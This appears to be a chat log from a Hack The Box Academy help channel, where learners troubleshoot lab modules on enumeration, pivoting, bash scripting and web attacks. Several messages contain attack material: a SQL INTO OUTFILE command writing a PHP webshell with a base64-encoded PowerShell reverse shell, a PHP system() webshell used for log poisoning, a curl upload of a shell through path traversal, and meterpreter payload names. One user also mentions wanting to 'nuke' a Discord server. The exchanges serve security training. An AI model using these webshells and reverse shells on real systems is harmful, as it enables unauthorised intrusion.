Sometimes windows/meterpeter doesn't work, you have to put there x64 payload

solemn bough
#

some server ripped my friends server off that hes been working really hard on by taking everything hes said and putting it on his own

#

im trying to nuke the server

#

🧍‍♂️

solemn bough
#

no its not

#

its against the rules

solemn bough
#

but not illegal

prisma spruce
supple patio
autumn pilot
supple patio
#

I believe it's windows/x64/meterpeter/reverse_tcp

rustic sage
prisma spruce
#

I don't think there's really anything wrong to tell people about the 10000 hour "rule" if it was some sort of private conversation meant to motivate a person, but for a published module it's pretty disappointing.

rustic sage
supple patio
high crown
#

Yeah, I agree

prisma spruce
#

And given the history of stuff like mathematics, using someone like Einstein is basically one of the worst possible examples.

#

The mathematical field is filled with people who are basically geniuses, and using them as "motivation" is just awful.

mighty wharf
#

Hey guys can anyone please help me on the exploiting think client application module, can not get it to download the sever

prisma spruce
#

You don't want to read about Terence Tao's "advice" for grad school.

#

It starts on page 96.

#

"I struggled on my orals exam for grad school because I spent a lot of time gaming. I decided to cut back on gaming and studied for two weeks. Oh yeah, you should cut me some slack - I was only 21."

#

I think it's pretty bad to mention Freud in all of this, the founder of "everything is a phallic symbol and we all want to fuck one of our parents"

supple patio
#

you're in the right path partly

#

try other zones

#

what zones did inlanefreight.htb itself gave you?

#

but you have other zones also

#

you've to brute force then

acoustic owl
#

Not every zone allows zonetransfer from everyone

supple patio
#

for instance app.domain doesn't allow zone transfer

#

but internal.domain allows

acoustic owl
mighty wharf
vocal tusk
#

hi guys i have a realy duumb question im editing the nginx config for the reverse proxy and AJP. it says coment out the server block in the nginx.conf file but i'm after confusing myself and not sure what they mean by block and where edit the config. by block do they mean everything that is between the brackets {} with the server title and do i just add the upstream tomacts and the 8080 server within the http {}

broken warren
#

Can someone that's done the broken auth skill assessment confirm something for me? i'm like 99% positive I've got the correct cookie but everytime I enter it in Dev tools and refresh i get user cannot have requested role and through burp it just gets sanitized and replaced with the original cookie if i try that way.

vocal tusk
#

? through burp repeater ?

acoustic owl
bright arrow
broken warren
acoustic owl
#

This is what happens when you press around on your cell phone with sausage fingers 🤣🤣

#

Send me the username and role and i have a look at it

verbal quarry
#

Guys any help in the windows logs mini module in the part of Get-WinEvent exercice i'm stuck

vital adder
rustic sage
#

#!/bin/bash

Count number of characters in a variable:

echo $variable | wc -c

Variable to encode

var="nef892na9s1p9asn2aJs71nIsm"
counter=0
for counter in {1..40}
do
var=$(echo "$var" | base64)
done
if [ $counter -eq 35 ]
then
echo $var | wc -c
fi

#

Hello guys can any of you help me with this exercise of the bash scripting module, a hint or something to give some light would be helpful, becasue I don't understand why it tells me that there is an error in the code that was actually given by the academy in the line of the for loop is says illegal number on the range and I don't get it, I also check the code in shellcheck.net and it doesn't say that there are any mistakes

#

Thank you in advance!

fiery berry
rustic sage
#

I tried that first but then it said expected do as the error

fiery berry
#

do it one more time with proper intendation

fiery berry
rustic sage
#

Ok I will try and let you know, thanks for answering!!

#

Yeah i used shellcheck but in there all was good😅

fiery berry
dull thunder
#

does anyone have any expierence with this error?

#

im on AD attacks and enumeration

rustic sage
unborn shard
# prisma spruce I'd sort of disagree with your given example, since there's no direct connection...

I think if the user is unsure about http-server and npm being connected they could just do a locate http-server | grep npm displaying the paths where http-server is located and filtering them to know if they are linked with npm.. it should provide with some results given that as any npm package, http-server should have a file named ".npmignore" too, so the grep will display those.. from that the user will see that http-server is a subdirectory of "node_modules".. so I think that would be reasonable to consider as a connection, thus being sure that http-server is indeed the command you are expected to provide in your answer

fiery berry
dull thunder
#

ok

fiery berry
dull thunder
#

ill try that

civic zenith
#

I'm on the nmap module and at the bottom I have the question: + 1 Find all TCP ports on your target. Submit the total number of found TCP ports as the answer. However none of the scans I try return anything promising. Did I miss something?

#

@rustic sage 'Host and Port Scanning'

#

is the one I'm on.

zinc marsh
#

when I use nc with proxychains what IP should I use?

misty current
#

I'm not sure myself, but the command you've provided listens on 0.0.0.0 by default. So, I believe your primary IP assigned should work.

#

Like an usual nc command or it'll fail trying to route.
You can give it a try and see what happens

#

catching connections?

zinc marsh
#

it doesn't

#

I started the nc in the bridge machine

#

to get the revshell

plain coral
trail leaf
misty current
#

Yeah, it's failing trying to route.
Btw, curious. Why are you running proxychains on nc?

zinc marsh
#

but idk how to do it with my machine

zinc marsh
#

maybe I can start a revshell in the bridge

trail leaf
#

but does that machine actually know where 10.10.x.x is?

zinc marsh
#

and from there start a nc to my vm

zinc marsh
trail leaf
#

oh I meant the actual machine you're going after, I'm assuming the setup is something like

ATTACKER (10.10.x.x) <---> BRIDGE (10.10.x.x/172.16.x.x) <---> OTHER_BOX (172.16.x.x)
#

that box on the internal network just does not know where a 10.10.x.x IP will be because it's not configured to know where that is

plain coral
zinc marsh
trail leaf
#

If you wanted a reverse shell to go all the way back to your box, you'd need something running on the Bridge/Jump box to tunnel traffic between the two, like socat.

zinc marsh
#

yesterday, but I just saved the .ssh from the root

#

to continue today and do it faster

trail leaf
#

Just to be clear, I'm not saying to catch the reverse shell with socat, socat can specifically be used to explicitly forward traffic from one port to another IP and port

zinc marsh
#

like ligolo-ng

barren escarp
proven lake
#

Hey everyone, I am stuck on the Getting Started Knowledge Check. For some reason the metasploit module return failed to retrieve nonce and I've now spent almost an hour trying to decipher the code and why this happens to no avail. Is this some bug on the box or I am being misdirected?

opaque girder
#

Hey someone do the KEREBEROS ATTACKS module and coplete the Unconstrained Delegation questions? having hard time with the second question

zinc marsh
surreal rain
#

@rustic sage no

rustic sage
#

Check out then say

surreal rain
#

i did

#

and still no

#

It has nothing to do with HTB Academy modules. Authenticate with the bot, then you will have more relevant channels you can post in

rustic sage
#

@surreal rain ok😐

#

@surreal rain how i can get the hackthebox roles

rustic sage
#

@novel matrix how i get roles of hackthebox

lucid bloom
vocal tusk
#

anybody understand bash im getting syntax error nearunexpected token '>' i have tried in the terminal and i have put it in a file called script.sh and gave it 777 ran ./script.sh ans same error.

#

i cant actualy past the function here tho 😂

umbral wigeon
#

its 4 keys

rustic sage
#

@vocal tusk show the code

vocal tusk
#

and cant post screenshot fo it either

#

at verry end the bash script for automation its litteraly copy and paste job and wont work

digital pewter
#

Has anyone completed the CrackMapExec Skills Assessment? I could use a hand with the 3rd question regarding DEV01. Fully pwned SQL01 and have a number of creds, including the one I believe should lead to pwning the DEV box, but I must be missing something and a second pair of eyes would be great. Thanks!

rustic sage
#

@vocal tusk tell me about script i will give t

#

What you want from script

vocal tusk
#

i sent you dm with script

#

it just wont work its uspposed to encode the command and pass it to server with curl command so i can use special charaters

rustic sage
#

@vocal tusk ok

acoustic owl
acoustic owl
#

Check out the rights

glad edge
#

Footprinting Lab - Hard, I’m getting an invalid format for Tom after copying the OpenSSH Private key over. When trying to connect via ssh I’m getting an invalid format and permission denied (publickey). Help anyone?

acoustic owl
digital pewter
acoustic owl
digital pewter
acoustic owl
steel summit
#

hi everyone im having a problem with network enumeration with nmap

#

in the last one

acoustic owl
steel summit
#

im trying to do Firewall and IDS/IPS Evasion - Hard Lab but when i try to scan it with different firewall evasion flags that i lernt before i cant see the required port in only see 2 of them

heady tusk
fervent apex
#

So gys what you are doing

vocal tusk
acoustic owl
#

Or ask a moderator/administrator

vocal tusk
#

il try turning it off and on again 😂

steel summit
zinc marsh
acoustic owl
zinc marsh
#

this means I cannot use it for rdp?

floral fulcrum
# zinc marsh

yes dont bother, only way i managed to maintain a system shell over that was through the exploit

#

should have enough information to pivot to the next host if you have already obtain admin hash

vagrant gust
#

just wondering where i would add the payload in this command SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE

#

is the <?php echo shell_exec($_GET['c']);?> bit the payload

#

cuz i need to add base64 and idk where it goes

zinc marsh
#

someone know how to delete the data from bloodhound?

tight mango
#

Left Down there are 4 button. Clear database, Refresh stats etc.

tight mango
vagrant gust
#

getting Parse error: syntax error, unexpected 'JABjAGwAaQBlAG4AdAAgAD0AIABOAG' (T_STRING), expecting ')' in C:\xampp\htdocs\webshells.php on when trying to get a shell

#

this is what i entered to make the webshell SELECT "<?php echo shell_exec(powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==);?>" INTO OUTFILE 'c://xampp/htdocs/webshells.php';

acoustic owl
zinc marsh
#

is there a way to force use my keyboard?

#

is annoying sometimes when u connect to the target and my keys are in a different place and instead of writing / it writes &

acoustic owl
#

You can change the language to your own language
Then the keyboard should be right again

pulsar needle
#

I have put the shell in a folder on the website using SQLi but I cannot seem to run the php code

#

I put it in /tmp/ named /shell.php

#

how do i run it from there? I dont have access to upload a file to /var/www/html

acoustic owl
pulsar needle
#

Where should i put it then

#

I think /etc works aswell but idk how to get it to execute on the server

acoustic owl
tribal plume
#

Anyone ever run into this error on Crackmapexec (Module: Using Crackmapexec)

acoustic owl
#

etc is certainly also wrong
Probably /var/.../...

jovial wolf
#

Hi, I am trying to finish the Security Monitoring & SIEM Fundamentals module and in the second question of the SIEM Visualization Example 2 section I am unable to answer it. I have looked all over the Elastic Stack and the answers I provide do not work. It would be greatly appreciated if someone could shed some light on the issue. This is the last question I have left to answer. Thank you very much !

vagrant gust
#

having trouble setting up the reverse shell

#

ive got a web shell

#

but when i use a powershell 3 base64 payload i get this

pulsar needle
misty current
vagrant gust
#

how would i do that?

misty current
#

like just need to replace the spaces with + in this case.

vagrant gust
#

oh

misty current
#

powershell+-e+<base64>

#

or %20

vagrant gust
#

still not getting the shell

#

even after encoding

pulsar needle
zinc marsh
#

It is being an amazing the module attacking network enterprises

misty current
misty current
#

I guess the command got executed, have your listening IP and ports verfied once again.

#

both on the listener and on the payload.

misty current
#

You don't give 0.0.0.0 in the payload. It's kinda of like a default route that sends traffic to itsef in this case.

vagrant gust
#

do i need to add my local ip?

misty current
#

You need to specify the ip address of your HTB VPN Interface which would be the tunX IP.

misty current
vagrant gust
#

ohh

#

thanks

#

idk why i didnt need to change that last time but at least i know now

rustic sage
#

Module: Attacking Common Applications
Section: Gitlab - Discovery & Enumeration

I have found gitlab's version but it doesn't work when I submit it. I got the same ||13.10|| with/without registration so I think something is not right here.

heady geyser
#

stuck on ad enumeration/dcsync section. i'm trying to use getuserspns_windows.exe but it keeps saying that i am providing it too few arguments. here is my command. PS C:\Tools> .\GetUserSPNs_windows.exe -target-domain INLANEFREIGHT.LOCAL -dc-ip 172.16.5.5 -request-user INLANEFREIGHT\syncron -request. what am i missing? hard time finding an example online

restive urchin
#

do yall have braindamage?

#

like fr?

zinc marsh
#

what would safer:
start a smbserver from my vm or use xfreerdp /drive

bright arrow
#

I wonder can we host an smbserver on a kubernates ssl nft ?

rare topaz
#

ngl they could've just went to thm instead and be hand holded to top 0.00001%

misty current
restive urchin
zinc marsh
tawdry vapor
#

anyone can hel me with LFI module with the final task? "Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer."

rare topaz
#

what hav u tried

tawdry vapor
misty current
bright arrow
zinc marsh
#

checking 'net use'

rare topaz
zinc marsh
tawdry vapor
thorn urchin
#

remember the issues with log poisoning is you can brick the page. So if you have a bad payload you basically have to reset the lab

#

you can also read the error.log to see the error message for your payload

tawdry vapor
#

i used <?php system($_GET["cmd"]); ?> in user agent

thorn urchin
#

Its a skill assessment, Ive given all the tips I can for it

#

you must ultimately pass this challenge yourself

acoustic owl
tawdry vapor
vagrant gust
#

is there any reason the medium lab for attacking common services is infinitely easier than the easy lab?

tawdry vapor
pulsar needle
#

yesh

pulsar needle
#

Ive been stuck for 2 hours

#

I cant find the file I am supposed to upload the thing to

tawdry vapor
acoustic owl
pulsar needle
vestal fable
#

Hi guys, i'm stucked at the burp intruder question on using web proxies, I'mm supposed to fuzz the target on admin directory with appending the .html. Just wanna know if i'm in the right path here

Q:Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag

acoustic owl
zinc marsh
#

try the shortest lists first

tawdry vapor
vestal fable
acoustic owl
zinc marsh
#

read what I told

thorn urchin
acoustic owl
zinc marsh
#

idk shortest is shortest lol

#

which one is shorter the mutated list or the default list

tawdry vapor
vestal fable
#

wait time

acoustic owl
tawdry vapor
acoustic owl
#

Then you should change your strategy 😉

zinc marsh
#

cause u want

#

I told u 4 times already to use the shortest list

#

the module gives the wordlists

acoustic owl
#

There's nothing wrong with that either.

zinc marsh
#

Even with this u sent here

autumn pilot
#

rushing through sections/modules is not recommended, understanding the information and the logic behind is recommended

zinc marsh
#

the first comment is from payloadbunny

#

which says to use the 2 wordlists they give in the section

autumn pilot
#

having notes, and building up them will help you further along the path

zinc marsh
#

u should rest 5 min

#

and read it again

rustic sage
acoustic owl
#

Are you sure that the user is root?

zinc marsh
#

why u use username list in password

#

in the forum u sent bunny told to use both list given in the section

#

. there is 1 list called username.list and other one password.list

glad edge
#

How deep of a knowledge do we need to have for SQL? Just to be able to navigate around junior DBA type knowledge

zinc marsh
#

I just got Domain Admin in the attacking enterprise networks sadglas, but I couldn't do it all blindly

thorn urchin
#

I couldn't do it all completely blindly either

#

it does

#

but what about 2nd domain? hue hue

#

and non-domain joined machines

#

DA is usually win, but not always

zinc marsh
#

But seems I still need to continue FeelsBadMan

vagrant gust
#

can i get some help with the hard lab for attacking common services

#

how do i impersonate 'j'

zinc marsh
#

With xp_cmdshell if I remember well

#

U working now as pentester?

thorn urchin
#

Hes been purple/red team for awhile

vagrant gust
#

i havent found the name of the server yet

zinc marsh
civic zenith
#

I am on the nmap module and it tells me to : Enumerate all ports and their services. One of the services contains the flag you have to submit as the answer. I've tried everything. Waiting on a UDP scan, but by the time its done my box will have been reset. I must have missed something. Anyone know what to do here?

zinc marsh
#

check the listening ports in the rdp

civic zenith
vagrant gust
vagrant gust
civic zenith
#

@tidal mango I've used -sC -sV -p- togethor, but the rest of them separate. -A, -sU, -Pn

fathom pendant
#

Well it means ssh target does not support password auth

#

I'm not arguing

#

There are 2 ways to authentic with ssh

#

Password and
...

thorn urchin
#

theres technically more ways than that but you have to go out of your way to configure em

#

but yeah not unusual at all to disable ssh password auth. I think it may even be nist recommendation

fathom pendant
#

I believe so

thorn urchin
#
anywhere from which they have SSH access. However, if interactive users are required to remember and 
manage different passwords for multiple systems, it can create administrative and security challenges.
Password authentication is generally not recommended for automated processes because it doesn’t 
provide the level of access control available with other authentication methods, especially public key 
authentication. 
If password authentication is used for interactive users or automated access, the passwords should be 
rotated frequently in accordance with the server organization’s password policy (which should also 
contain requirements such as minimum password length, minimum password complexity, etc.)```
#

password auth okay for reg users with some caution, and a no no for automated users

thorn urchin
#

Dont have to worry about the password being weak or bruted if you dont accept password in the first place

barren escarp
#

@acoustic owl can you help me

thorn urchin
#

easiest way to get help is to post your question

barren escarp
#

I did, they responded yesterday

#

and I responded back

#

but no response yet

#

But I'll post it again, maybe someone else can help. I'm stuck on the "In-Band Data Extraction" section of the "Introduction to NoSQL Injection"

unborn shard
#

As you said, you are currently in the Skill Assessment "Service Login" section.. so you should be trying to get access to a service, not trying to access a web server, given that the Skill Assessment "Website" is a different section than this one

#

In the "Service Auth Brute Forcing" section you will find some hints on how to approach this last Skill Assessment

weary pasture
#

how can i find my root flag?

#

where?

unborn shard
#

Not exactly, in the first image you sent which is the description of the section, it says that you don't have infos about the website
It also says that you should determine if any weak credentials are used for website and other login services

In the 2nd image you sent it never even mentions a website at all, in fact they say: SSH to [IP] with user "" and password ""

#

Yes

#

Still, nobody said it has to be on the website

#

Otherwise you would have done it in the previous Skill Assessment, aka the one with "Website" in the name

#

Not here, where it says "Service login"

#

Read the hint of the 1st question

#

It should allow you to skip the 1st step of your thought process

#

Nice

unborn shard
#

I've never seen someone as excited to complete a module, that's cool.. is this your first one?

barren escarp
#

Can someone help me? Trying to dump this mongodb for the Introduction to NoSQL Injection module:

#

I've tried multiple commands and made sure to URL encode, nothing is working

shy star
#

how far have you gotten so far?

shy star
#

ah I haven't done that one yet. I'll see if I have it unlocked and give it a shot.

barren escarp
#

is 500 cubes

shy star
#

aah I don't have enough cubes lol

barren escarp
#

its a terrible module, it doesn't teach anything

#

and costs so much

shy star
#

Glad I saw that before I spent my hard earned cubes on it.

barren escarp
#

That mainly helps with auth bypass

#

which I've done

shy star
#

Does it ever show an error or anything?

barren escarp
#

no

rustic sage
#

What type of Analysis can be used to predict future probabilities?

#

???

proud pine
rustic sage
#

I got it already thanks

#

I was typing it wrong and thought it wasn't correct

#

So literally had doubts

#

But I got it already

fathom pendant
#

Brother try a different approach. If ftp is open: try that first

#

If it can't auth that's a different error

#

Try. A different. Approach.

#

Also hydra supports ./{filename} notation for wordlists

#

God that's painful

proud pine
fathom pendant
#

Yes. You should get used to typing out file paths and names manually (with tab autocomplete to assist)

rustic sage
#

Hi there,

I can help you with this, dm me.

fathom pendant
#

You don't have to be a fast typer

#

That's rough but if you know where the start of your tree is I.e /home/{user}/SecLists/ then it's easy to branch

#

Rather than having to go back in a file browser

#

Also what would you do if you had to perform Said tasks on a machine in which you only have cli access to

#

No gui

#

A lot of the systems you remote into in the course don't have internet access

#

Also I tend to have academy open in a browser ,and notes, on my main os and stick to just using vm with mostly terminal or Firefox *if the box has a web interface

#

To keep clutter down you can drag them to the left or right of the screen to have them be half screened

#

Idk if kali let's you do the {windows} and arrow keys to move the windows around

#

If you don't actually organize your windows you're just causing yourself more headaches

#

Brother it's not a screen size issue

#

You're literally cramming everything towards the center

#

Yes something like that

#

Or if you're going to layer your windows make it so a "grab edge" is visible for you to click on

#

It's a process to learn it. And what works best in your workflow

#

But legit I had to learn proper work flow when I worked at a call center

#

Allowing me to tab between specific things, such as remote sessions, work tab, notes, etc

#

Also when you unclutter everything you can more easily see what you're looking at

#

Like when I'm working through an assessment or something i will write down the question(s) where I can see it

wild folio
#

I like an approach like this where your terminals are slightly see through and you can see the questions. Also ctrl+shift+T is your friend. That opens new tabs in your terminal. This works better for me since I have the vertical real estate and don't have to scroll as much if it were quad screen.

wild folio
#

hmm? you shouldn't need that

#

it's just a transparency setting in your terminal

#

lol your computer is plenty

#

you were using this setting?

#

maybe reset to factory defaults and try again

#

not sure

proud pine
#

Transparency is a somewhat poor solution to a simple problem. Tiling WMs, and/or virtual desktop management are the real way to go.

shy star
#

yeah most (I think all) OSes now come with some built-in workspace feature. Much better than overlaying windows with transparency

wild folio
#

it's just an additional suggestion. Tiling was already mentioned. He can take or leave w/e

#

he/she

lunar oriole
#

Hello i am currently doing the Easy box for the Attacking common services modules i am trying to put the reverse shell file on the root of the XAMPP app but b no luck i get a success message but when i check the ftp server there is nothing there here is the command i am using curl -k -X PUT -H "Host: HostIP" --basic -u fioana:987654321 -F 'fileX=@/home/htb-ac-71408/bc.php' 'https://BOXIP/../../../../../..\xampp\htdocs\myshell.php'

wild folio
#

yeah not sure what's going on there. For now just focus on tiling like Marcie suggested and creating tabs within the terminal. ctrl+shift+t

#

That should help you focus on testing instead of wrangling with windows and things.

#

I mean't pentesting.

#

I'm right there with ya

#

it's a medium lab tho

#

There you go. 🙂

tidal mango
#

It not as hard as you might be leading yourself to believe

prisma spruce
#

I don't do that on HTB, because I recall only one box where they intentionally did not link .bash_history to /dev/null

#

Oh, I'm not disagreeing with you here.

#

I just sort of find it funny that there is a lot of stuff you would basically not do on the main htb site just because of how the boxes are set up.

fathom pendant
prisma spruce
#

Not saying that it doesn't happen, but it's sort of funny juts how many boxes would simply not have issues if they had just turned off logging in through ssh with passwords

fathom pendant
#

This is straying off topic from the modules

#

Let's just keep it at "academy is only testing you on the module"

#

Challenges and boxes being released have no bearing on academy

#

Honestly, not trying to be mean, I would go back over the modules and see how much you can do/solve with just your notes. And add to your notes anything you need to re-look up